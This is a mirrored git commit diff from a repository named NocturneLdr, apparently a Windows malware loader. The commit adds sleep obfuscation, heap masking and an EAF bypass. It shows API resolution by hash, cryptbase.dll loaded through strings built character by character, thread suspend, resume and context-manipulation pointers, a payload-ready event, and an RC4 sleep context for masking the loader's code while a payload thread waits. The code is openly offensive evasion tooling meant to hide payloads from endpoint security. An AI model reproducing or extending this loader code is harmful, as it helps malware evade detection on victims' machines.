mirror of
https://github.com/xec412/NocturneLdr
synced 2026-07-27 17:18:43 +00:00
Feat: Add zilean sleep obfuscation with stack duplication, heap masking & EAF bypass
This commit is contained in:
Xec412
+103
-2
@@ -33,6 +33,22 @@ struct WIN32_API {
|
||||
_In_opt_ PLARGE_INTEGER Timeout
|
||||
);
|
||||
|
||||
NTSTATUS(NTAPI* NtSignalAndWaitForSingleObject)(
|
||||
_In_ HANDLE SignalHandle,
|
||||
_In_ HANDLE WaitHandle,
|
||||
_In_ BOOLEAN Alertable,
|
||||
_In_opt_ PLARGE_INTEGER Timeout
|
||||
);
|
||||
|
||||
NTSTATUS(NTAPI* RtlRegisterWait)(
|
||||
_Out_ PHANDLE WaitHandle,
|
||||
_In_ HANDLE Handle,
|
||||
_In_ WAITORTIMERCALLBACKFUNC Function,
|
||||
_In_opt_ PVOID Context,
|
||||
_In_ ULONG Milliseconds,
|
||||
_In_ ULONG Flags
|
||||
);
|
||||
|
||||
NTSTATUS(NTAPI* NtCreateEvent)(
|
||||
_Out_ PHANDLE EventHandle,
|
||||
_In_ ACCESS_MASK DesiredAccess,
|
||||
@@ -41,11 +57,55 @@ struct WIN32_API {
|
||||
_In_ BOOLEAN InitialState
|
||||
);
|
||||
|
||||
NTSTATUS(NTAPI* NtResumeThread)(
|
||||
_In_ HANDLE ThreadHandle,
|
||||
_Out_opt_ PULONG PreviousSuspendCount
|
||||
);
|
||||
|
||||
NTSTATUS(NTAPI* NtSuspendThread)(
|
||||
_In_ HANDLE ThreadHandle,
|
||||
_Out_opt_ PULONG PreviousSuspendCount
|
||||
);
|
||||
|
||||
NTSTATUS(NTAPI* NtOpenThread)(
|
||||
_Out_ PHANDLE ThreadHandle,
|
||||
_In_ ACCESS_MASK DesiredAccess,
|
||||
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
_In_opt_ PCLIENT_ID ClientId
|
||||
);
|
||||
|
||||
NTSTATUS(NTAPI* NtQuerySystemInformation)(
|
||||
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
||||
_Inout_ PVOID SystemInformation,
|
||||
_In_ ULONG SystemInformationLength,
|
||||
_Out_opt_ PULONG ReturnLength
|
||||
);
|
||||
|
||||
NTSTATUS(NTAPI* NtSetEvent)(
|
||||
_In_ HANDLE EventHandle,
|
||||
_Out_opt_ PLONG PreviousState
|
||||
);
|
||||
|
||||
NTSTATUS(NTAPI* NtGetContextThread)(
|
||||
_In_ HANDLE ThreadHandle,
|
||||
_Inout_ PCONTEXT ThreadContext
|
||||
);
|
||||
|
||||
NTSTATUS(NTAPI* NtSetContextThread)(
|
||||
_In_ HANDLE ThreadHandle,
|
||||
_In_ PCONTEXT ThreadContext
|
||||
);
|
||||
|
||||
NTSTATUS(NTAPI* NtDuplicateObject)(
|
||||
_In_ HANDLE SourceProcessHandle,
|
||||
_In_ HANDLE SourceHandle,
|
||||
_In_opt_ HANDLE TargetProcessHandle,
|
||||
_Out_opt_ PHANDLE TargetHandle,
|
||||
_In_ ACCESS_MASK DesiredAccess,
|
||||
_In_ ULONG HandleAttributes,
|
||||
_In_ ULONG Options
|
||||
);
|
||||
|
||||
BOOLEAN(NTAPI* RtlAddFunctionTable)(
|
||||
_In_ PRUNTIME_FUNCTION FunctionTable,
|
||||
_In_ ULONG EntryCount,
|
||||
@@ -60,6 +120,10 @@ struct WIN32_API {
|
||||
_Inout_ PRTL_SRWLOCK SRWLock
|
||||
);
|
||||
|
||||
VOID(NTAPI* RtlCaptureContext)(
|
||||
_Out_ PCONTEXT ContextRecord
|
||||
);
|
||||
|
||||
VOID(NTAPI* RtlReleaseSRWLockExclusive)(
|
||||
_Inout_ PRTL_SRWLOCK SRWLock
|
||||
);
|
||||
@@ -81,6 +145,7 @@ struct WIN32_API {
|
||||
_Out_ PUNWIND_HISTORY_TABLE HistoryTable
|
||||
);
|
||||
|
||||
PVOID NtContinue;
|
||||
} Nt;
|
||||
|
||||
struct {
|
||||
@@ -97,6 +162,28 @@ struct WIN32_API {
|
||||
_In_opt_ LPCWSTR lpModuleName
|
||||
);
|
||||
|
||||
BOOL(WINAPI* HeapWalk)(
|
||||
_In_ HANDLE hHeap,
|
||||
_Inout_ LPPROCESS_HEAP_ENTRY lpEntry
|
||||
);
|
||||
|
||||
DWORD(WINAPI* WaitForSingleObjectEx)(
|
||||
_In_ HANDLE hHandle,
|
||||
_In_ DWORD dwMilliseconds,
|
||||
_In_ BOOL bAlertable
|
||||
);
|
||||
|
||||
BOOL(WINAPI* VirtualProtect)(
|
||||
_In_ LPVOID lpAddress,
|
||||
_In_ SIZE_T dwSize,
|
||||
_In_ DWORD flNewProtect,
|
||||
_Out_ PDWORD lpflOldProtect
|
||||
);
|
||||
|
||||
BOOL(WINAPI* SetEvent)(
|
||||
_In_ HANDLE hEvent
|
||||
);
|
||||
|
||||
} K32;
|
||||
|
||||
struct {
|
||||
@@ -124,10 +211,15 @@ struct WIN32_API {
|
||||
PVOID SystemFunction032;
|
||||
} AdvApi32;
|
||||
|
||||
struct {
|
||||
PVOID SystemFunction040;
|
||||
PVOID SystemFunction041;
|
||||
} CryptBase;
|
||||
};
|
||||
|
||||
/* Global Object */
|
||||
/* Global Objects */
|
||||
inline WIN32_API g_Win32{};
|
||||
inline HANDLE g_PayloadReady = nullptr;
|
||||
|
||||
/* External assembly functions */
|
||||
extern "C" ULONG_PTR CaptureStackPointer();
|
||||
@@ -139,6 +231,10 @@ extern "C" ULONG_PTR ShadowGate(
|
||||
_In_ PSHADOWGATE_PARAMS pShadowParams
|
||||
);
|
||||
extern "C" ULONG_PTR ShadowGateEnd();
|
||||
extern "C" ULONG_PTR ShieldedRead(
|
||||
_In_ ULONG_PTR uTarget,
|
||||
_In_opt_ ULONG_PTR uGadget
|
||||
);
|
||||
|
||||
/*================================================
|
||||
@ Function Pointers
|
||||
@@ -149,7 +245,7 @@ namespace Resolver {
|
||||
PVOID LdrGetModuleByHash(
|
||||
_In_ ULONG uModuleHash
|
||||
);
|
||||
PVOID LdrGetSymbolByHash(
|
||||
PVOID LdrShieldedSymbolResolveByHash(
|
||||
_In_ PVOID pModule,
|
||||
_In_ ULONG uFunctionHash
|
||||
);
|
||||
@@ -352,4 +448,9 @@ namespace Proxy {
|
||||
);
|
||||
}
|
||||
|
||||
/* From Zilean.cpp */
|
||||
VOID MaskImage(
|
||||
_In_ DWORD dwTimeout
|
||||
);
|
||||
|
||||
#endif /* COMMON.H */
|
||||
+64
-20
@@ -17,7 +17,9 @@ namespace Win32API {
|
||||
PVOID Kernel32 = nullptr;
|
||||
PVOID Ntdll = nullptr;
|
||||
PVOID AdvApi = nullptr;
|
||||
PVOID CryptBase = nullptr;
|
||||
WCHAR AdvStr[] = { L'a', L'd', L'v', L'a', L'p', L'i', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
|
||||
WCHAR CryptStr[] = { L'c', L'r', L'y', L'p', L't', L'b', L'a', L's', L'e', L'.', L'd', L'l', L'l', L'\0' };
|
||||
|
||||
#ifdef DEBUG
|
||||
DBGPRINT("[*] Initializing Win32 APIs \n");
|
||||
@@ -37,9 +39,9 @@ namespace Win32API {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
g_Win32.K32.LoadLibraryW = (decltype(g_Win32.K32.LoadLibraryW))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("LoadLibraryW"));
|
||||
g_Win32.K32.GetModuleHandleW = (decltype(g_Win32.K32.GetModuleHandleW))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("GetModuleHandleW"));
|
||||
g_Win32.Nt.RtlQueueWorkItem = (decltype(g_Win32.Nt.RtlQueueWorkItem))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlQueueWorkItem"));
|
||||
g_Win32.K32.LoadLibraryW = (decltype(g_Win32.K32.LoadLibraryW))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("LoadLibraryW"));
|
||||
g_Win32.K32.GetModuleHandleW = (decltype(g_Win32.K32.GetModuleHandleW))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("GetModuleHandleW"));
|
||||
g_Win32.Nt.RtlQueueWorkItem = (decltype(g_Win32.Nt.RtlQueueWorkItem))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlQueueWorkItem"));
|
||||
|
||||
if (!g_Win32.K32.LoadLibraryW || !g_Win32.K32.GetModuleHandleW || !g_Win32.Nt.RtlQueueWorkItem)
|
||||
return FALSE;
|
||||
@@ -51,37 +53,79 @@ namespace Win32API {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
g_Win32.K32.WaitForSingleObject = (decltype(g_Win32.K32.WaitForSingleObject))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("WaitForSingleObject"));
|
||||
if (!(CryptBase = Proxy::WorkItemLoadLibrary(CryptStr))) {
|
||||
#ifdef DEBUG
|
||||
DBGPRINT("[-] WorkItemLoadLibrary -> Failed To Load CryptBase - %s.%d \n", GET_FILENAME(__FILE__), __LINE__);
|
||||
#endif
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!g_Win32.K32.WaitForSingleObject)
|
||||
/* Initialize Kernel32 Apis */
|
||||
g_Win32.K32.WaitForSingleObject = (decltype(g_Win32.K32.WaitForSingleObject))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("WaitForSingleObject"));
|
||||
g_Win32.K32.HeapWalk = (decltype(g_Win32.K32.HeapWalk))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("HeapWalk"));
|
||||
g_Win32.K32.WaitForSingleObjectEx = (decltype(g_Win32.K32.WaitForSingleObjectEx))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("WaitForSingleObjectEx"));
|
||||
g_Win32.K32.VirtualProtect = (decltype(g_Win32.K32.VirtualProtect))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("VirtualProtect"));
|
||||
g_Win32.K32.SetEvent = (decltype(g_Win32.K32.SetEvent))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("SetEvent"));
|
||||
|
||||
if (!g_Win32.K32.WaitForSingleObject || !g_Win32.K32.HeapWalk || !g_Win32.K32.WaitForSingleObjectEx || !g_Win32.K32.VirtualProtect || !g_Win32.K32.SetEvent)
|
||||
return FALSE;
|
||||
|
||||
g_Win32.Nt.NtCreateEvent = (decltype(g_Win32.Nt.NtCreateEvent))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtCreateEvent"));
|
||||
g_Win32.Nt.NtQueryInformationProcess = (decltype(g_Win32.Nt.NtQueryInformationProcess))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtQueryInformationProcess"));
|
||||
g_Win32.Nt.NtSetEvent = (decltype(g_Win32.Nt.NtSetEvent))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtSetEvent"));
|
||||
g_Win32.Nt.NtWaitForSingleObject = (decltype(g_Win32.Nt.NtWaitForSingleObject))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtWaitForSingleObject"));
|
||||
g_Win32.Nt.RtlAcquireSRWLockExclusive = (decltype(g_Win32.Nt.RtlAcquireSRWLockExclusive))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive"));
|
||||
g_Win32.Nt.RtlAddFunctionTable = (decltype(g_Win32.Nt.RtlAddFunctionTable))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable"));
|
||||
g_Win32.Nt.RtlDeleteFunctionTable = (decltype(g_Win32.Nt.RtlDeleteFunctionTable))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlDeleteFunctionTable"));
|
||||
g_Win32.Nt.RtlLookupFunctionEntry = (decltype(g_Win32.Nt.RtlLookupFunctionEntry))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry"));
|
||||
g_Win32.Nt.RtlReleaseSRWLockExclusive = (decltype(g_Win32.Nt.RtlReleaseSRWLockExclusive))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive"));
|
||||
g_Win32.Nt.RtlVirtualUnwind = (decltype(g_Win32.Nt.RtlVirtualUnwind))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlVirtualUnwind"));
|
||||
|
||||
//======================================================================================================================================================================
|
||||
|
||||
/* Initialize Ntdll Apis */
|
||||
g_Win32.Nt.NtCreateEvent = (decltype(g_Win32.Nt.NtCreateEvent))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtCreateEvent"));
|
||||
g_Win32.Nt.NtQueryInformationProcess = (decltype(g_Win32.Nt.NtQueryInformationProcess))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtQueryInformationProcess"));
|
||||
g_Win32.Nt.NtSetEvent = (decltype(g_Win32.Nt.NtSetEvent))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtSetEvent"));
|
||||
g_Win32.Nt.NtWaitForSingleObject = (decltype(g_Win32.Nt.NtWaitForSingleObject))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtWaitForSingleObject"));
|
||||
g_Win32.Nt.NtSignalAndWaitForSingleObject = (decltype(g_Win32.Nt.NtSignalAndWaitForSingleObject))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtSignalAndWaitForSingleObject"));
|
||||
g_Win32.Nt.NtContinue = (decltype(g_Win32.Nt.NtContinue))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtContinue"));
|
||||
g_Win32.Nt.NtOpenThread = (decltype(g_Win32.Nt.NtOpenThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtOpenThread"));
|
||||
g_Win32.Nt.NtQuerySystemInformation = (decltype(g_Win32.Nt.NtQuerySystemInformation))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtQuerySystemInformation"));
|
||||
g_Win32.Nt.NtResumeThread = (decltype(g_Win32.Nt.NtResumeThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtResumeThread"));
|
||||
g_Win32.Nt.NtSuspendThread = (decltype(g_Win32.Nt.NtSuspendThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtSuspendThread"));
|
||||
g_Win32.Nt.NtGetContextThread = (decltype(g_Win32.Nt.NtGetContextThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtGetContextThread"));
|
||||
g_Win32.Nt.NtSetContextThread = (decltype(g_Win32.Nt.NtSetContextThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtSetContextThread"));
|
||||
g_Win32.Nt.NtDuplicateObject = (decltype(g_Win32.Nt.NtDuplicateObject))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtDuplicateObject"));
|
||||
g_Win32.Nt.RtlAcquireSRWLockExclusive = (decltype(g_Win32.Nt.RtlAcquireSRWLockExclusive))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive"));
|
||||
g_Win32.Nt.RtlAddFunctionTable = (decltype(g_Win32.Nt.RtlAddFunctionTable))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable"));
|
||||
g_Win32.Nt.RtlCaptureContext = (decltype(g_Win32.Nt.RtlCaptureContext))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlCaptureContext"));
|
||||
g_Win32.Nt.RtlDeleteFunctionTable = (decltype(g_Win32.Nt.RtlDeleteFunctionTable))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlDeleteFunctionTable"));
|
||||
g_Win32.Nt.RtlRegisterWait = (decltype(g_Win32.Nt.RtlRegisterWait))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlRegisterWait"));
|
||||
g_Win32.Nt.RtlLookupFunctionEntry = (decltype(g_Win32.Nt.RtlLookupFunctionEntry))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry"));
|
||||
g_Win32.Nt.RtlReleaseSRWLockExclusive = (decltype(g_Win32.Nt.RtlReleaseSRWLockExclusive))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive"));
|
||||
g_Win32.Nt.RtlVirtualUnwind = (decltype(g_Win32.Nt.RtlVirtualUnwind))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlVirtualUnwind"));
|
||||
|
||||
if (!g_Win32.Nt.NtCreateEvent || !g_Win32.Nt.NtQueryInformationProcess ||
|
||||
!g_Win32.Nt.NtSetEvent || !g_Win32.Nt.RtlAcquireSRWLockExclusive ||
|
||||
!g_Win32.Nt.RtlAddFunctionTable || !g_Win32.Nt.RtlDeleteFunctionTable ||
|
||||
!g_Win32.Nt.RtlLookupFunctionEntry || !g_Win32.Nt.RtlReleaseSRWLockExclusive ||
|
||||
!g_Win32.Nt.RtlVirtualUnwind || !g_Win32.Nt.NtWaitForSingleObject)
|
||||
!g_Win32.Nt.RtlVirtualUnwind || !g_Win32.Nt.NtWaitForSingleObject || !g_Win32.Nt.NtSignalAndWaitForSingleObject ||
|
||||
!g_Win32.Nt.NtContinue || !g_Win32.Nt.NtOpenThread || !g_Win32.Nt.NtResumeThread || !g_Win32.Nt.NtQuerySystemInformation ||
|
||||
!g_Win32.Nt.NtSuspendThread || !g_Win32.Nt.RtlCaptureContext || !g_Win32.Nt.RtlRegisterWait ||
|
||||
!g_Win32.Nt.NtGetContextThread || !g_Win32.Nt.NtSetContextThread || !g_Win32.Nt.NtDuplicateObject)
|
||||
return FALSE;
|
||||
|
||||
g_Win32.AdvApi32.RegCloseKey = (decltype(g_Win32.AdvApi32.RegCloseKey))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegCloseKey"));
|
||||
g_Win32.AdvApi32.RegOpenKeyExW = (decltype(g_Win32.AdvApi32.RegOpenKeyExW))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegOpenKeyExW"));
|
||||
g_Win32.AdvApi32.RegQueryValueExW = (decltype(g_Win32.AdvApi32.RegQueryValueExW))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegQueryValueExW"));
|
||||
g_Win32.AdvApi32.SystemFunction032 = (decltype(g_Win32.AdvApi32.SystemFunction032))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("SystemFunction032"));
|
||||
//======================================================================================================================================================================
|
||||
|
||||
/* Initialize AdvApi32 Apis */
|
||||
g_Win32.AdvApi32.RegCloseKey = (decltype(g_Win32.AdvApi32.RegCloseKey))Resolver::LdrShieldedSymbolResolveByHash(AdvApi, Hash::ExprHashStrDjb2("RegCloseKey"));
|
||||
g_Win32.AdvApi32.RegOpenKeyExW = (decltype(g_Win32.AdvApi32.RegOpenKeyExW))Resolver::LdrShieldedSymbolResolveByHash(AdvApi, Hash::ExprHashStrDjb2("RegOpenKeyExW"));
|
||||
g_Win32.AdvApi32.RegQueryValueExW = (decltype(g_Win32.AdvApi32.RegQueryValueExW))Resolver::LdrShieldedSymbolResolveByHash(AdvApi, Hash::ExprHashStrDjb2("RegQueryValueExW"));
|
||||
g_Win32.AdvApi32.SystemFunction032 = (decltype(g_Win32.AdvApi32.SystemFunction032))Resolver::LdrShieldedSymbolResolveByHash(AdvApi, Hash::ExprHashStrDjb2("SystemFunction032"));
|
||||
|
||||
if (!g_Win32.AdvApi32.RegCloseKey || !g_Win32.AdvApi32.RegOpenKeyExW || !g_Win32.AdvApi32.RegQueryValueExW || !g_Win32.AdvApi32.SystemFunction032)
|
||||
return FALSE;
|
||||
|
||||
//======================================================================================================================================================================
|
||||
|
||||
/* Initialize CryptBase Apis */
|
||||
g_Win32.CryptBase.SystemFunction040 = (decltype(g_Win32.CryptBase.SystemFunction040))Resolver::LdrShieldedSymbolResolveByHash(CryptBase, Hash::ExprHashStrDjb2("SystemFunction040"));
|
||||
g_Win32.CryptBase.SystemFunction041 = (decltype(g_Win32.CryptBase.SystemFunction041))Resolver::LdrShieldedSymbolResolveByHash(CryptBase, Hash::ExprHashStrDjb2("SystemFunction041"));
|
||||
|
||||
if (!g_Win32.CryptBase.SystemFunction040 || !g_Win32.CryptBase.SystemFunction041)
|
||||
return FALSE;
|
||||
|
||||
#ifdef DEBUG
|
||||
DBGPRINT("[+] Success \n");
|
||||
#endif
|
||||
|
||||
@@ -78,6 +78,26 @@
|
||||
#define CALL_NEAR_QPTR 0xFF15
|
||||
#define CALL_FAR_QPTR 0x0015FF48
|
||||
|
||||
/*===================================
|
||||
# Sleep Obfuscation
|
||||
=====================================*/
|
||||
typedef struct _USTRING {
|
||||
DWORD Length;
|
||||
DWORD MaximumLength;
|
||||
PBYTE Buffer;
|
||||
} USTRING, * PUSTRING;
|
||||
|
||||
typedef struct _SLEEP_CONTEXT {
|
||||
PVOID pModule; // Sacrificial DLL base
|
||||
PVOID pTextBase; // Loader .text base
|
||||
SIZE_T szTextSize; // Loader .text size
|
||||
HANDLE hPayloadThread; // Payload thread handle
|
||||
HANDLE hHeap; // Process heap
|
||||
BYTE Key[16]; // RC4 key
|
||||
DWORD dwKeySize; // Key size
|
||||
DWORD dwSleepMs; // Sleep interval
|
||||
} SLEEP_CONTEXT, * PSLEEP_CONTEXT;
|
||||
|
||||
/*===================================
|
||||
# Unwind Flags
|
||||
=====================================*/
|
||||
@@ -93,6 +113,7 @@
|
||||
typedef VOID(NTAPI* fnLdrProtectMrdata)(_In_ BOOL Protect);
|
||||
typedef VOID(NTAPI* fnRtlAcquireSRWLockExclusive)(_Inout_ PRTL_SRWLOCK SRWLock);
|
||||
typedef VOID(NTAPI* fnRtlReleaseSRWLockExclusive)(_Inout_ PRTL_SRWLOCK SRWLock);
|
||||
typedef NTSTATUS(NTAPI* fnSystemFunction032)(_Inout_ PUSTRING Data, _In_ PUSTRING Key);
|
||||
|
||||
/*===================================
|
||||
# Typedefs
|
||||
|
||||
Reference in New Issue
Block a user